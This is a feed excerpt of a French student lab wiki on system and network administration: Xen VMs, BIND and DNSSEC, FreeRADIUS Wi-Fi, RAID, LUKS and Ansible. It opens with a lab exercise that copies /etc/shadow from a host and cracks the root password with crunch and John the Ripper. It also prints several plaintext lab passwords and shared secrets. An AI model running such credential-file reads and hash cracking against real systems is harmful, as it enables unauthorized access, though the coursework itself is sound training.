 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{{ item }}&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
&lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57994</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57994"/>
				<updated>2022-01-12T12:23:27Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Iptables */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
